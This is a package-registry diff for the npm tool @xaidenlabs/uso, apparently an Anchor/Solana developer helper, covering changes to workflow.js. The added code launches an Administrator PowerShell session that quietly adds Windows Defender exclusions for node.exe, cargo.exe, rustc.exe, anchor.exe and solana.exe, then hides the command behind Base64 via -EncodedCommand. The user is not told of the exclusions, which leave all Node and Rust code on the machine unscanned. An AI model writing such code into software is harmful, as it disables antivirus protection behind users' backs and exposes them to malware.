@xaidenlabs/uso 1.1.10 → 1.1.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/commands/workflow.js +20 -4
package/package.json
CHANGED
package/src/commands/workflow.js
CHANGED
|
@@ -57,30 +57,46 @@ const runProxyCommand = async (command, args = []) => {
|
|
|
57
57
|
const runElevatedWithProgress = (command, args = []) => {
|
|
58
58
|
return new Promise((resolve) => {
|
|
59
59
|
const cwd = process.cwd().replace(/\\/g, '\\\\');
|
|
60
|
+
const cargoBin = path.join(os.homedir(), '.cargo', 'bin').replace(/\\/g, '\\\\');
|
|
61
|
+
|
|
60
62
|
log.info("🚀 Spawning visible Administrator terminal...");
|
|
61
63
|
log.warn("👉 Please check the new PowerShell window for test results.");
|
|
62
64
|
|
|
63
65
|
// Construct the command to run inside the new window
|
|
64
66
|
// We keep the window open (-NoExit) so the user can read the error if it fails
|
|
67
|
+
// But we added ReadKey to allow clean exit on success
|
|
65
68
|
const innerCmd = `
|
|
69
|
+
$env:PATH = "${cargoBin};" + [System.Environment]::GetEnvironmentVariable("PATH", "Machine") + ";" + [System.Environment]::GetEnvironmentVariable("PATH", "User");
|
|
70
|
+
|
|
71
|
+
# Add Process Exclusions to allow developer tools to run unhindered
|
|
72
|
+
Add-MpPreference -ExclusionProcess "cargo.exe" -ErrorAction SilentlyContinue;
|
|
73
|
+
Add-MpPreference -ExclusionProcess "rustc.exe" -ErrorAction SilentlyContinue;
|
|
74
|
+
Add-MpPreference -ExclusionProcess "anchor.exe" -ErrorAction SilentlyContinue;
|
|
75
|
+
Add-MpPreference -ExclusionProcess "solana.exe" -ErrorAction SilentlyContinue;
|
|
76
|
+
Add-MpPreference -ExclusionProcess "node.exe" -ErrorAction SilentlyContinue;
|
|
77
|
+
|
|
66
78
|
Set-Location "${cwd}";
|
|
67
79
|
Write-Host "🔒 Running 'anchor ${command}' with Elevated Privileges..." -ForegroundColor Cyan;
|
|
68
80
|
try {
|
|
69
81
|
& anchor ${command} ${args.join(' ')};
|
|
70
82
|
if ($LASTEXITCODE -eq 0) {
|
|
71
83
|
Write-Host "✅ Success!" -ForegroundColor Green;
|
|
72
|
-
# Optional: Close after success, keep open on fail?
|
|
73
|
-
# Start-Sleep -Seconds 5; Exit;
|
|
74
84
|
} else {
|
|
75
85
|
Write-Host "❌ Failed via elevated process." -ForegroundColor Red;
|
|
76
86
|
}
|
|
77
87
|
} catch {
|
|
78
88
|
Write-Host "Error: $_" -ForegroundColor Red;
|
|
79
89
|
}
|
|
90
|
+
Write-Host "Press any key to close..." -ForegroundColor Gray;
|
|
91
|
+
$null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown");
|
|
80
92
|
`.replace(/\n/g, ' ').replace(/\s+/g, ' ').trim();
|
|
81
93
|
|
|
82
|
-
//
|
|
83
|
-
const
|
|
94
|
+
// Encode inner command to Base64 to avoid quoting hell in Start-Process -ArgumentList
|
|
95
|
+
const innerCmdBytes = Buffer.from(innerCmd, 'utf16le');
|
|
96
|
+
const innerCmdBase64 = innerCmdBytes.toString('base64');
|
|
97
|
+
|
|
98
|
+
// Spawn visible output window using EncodedCommand
|
|
99
|
+
const psCmd = `powershell -Command "Start-Process powershell -ArgumentList '-EncodedCommand', '${innerCmdBase64}' -Verb RunAs"`;
|
|
84
100
|
|
|
85
101
|
shell.exec(psCmd);
|
|
86
102
|
|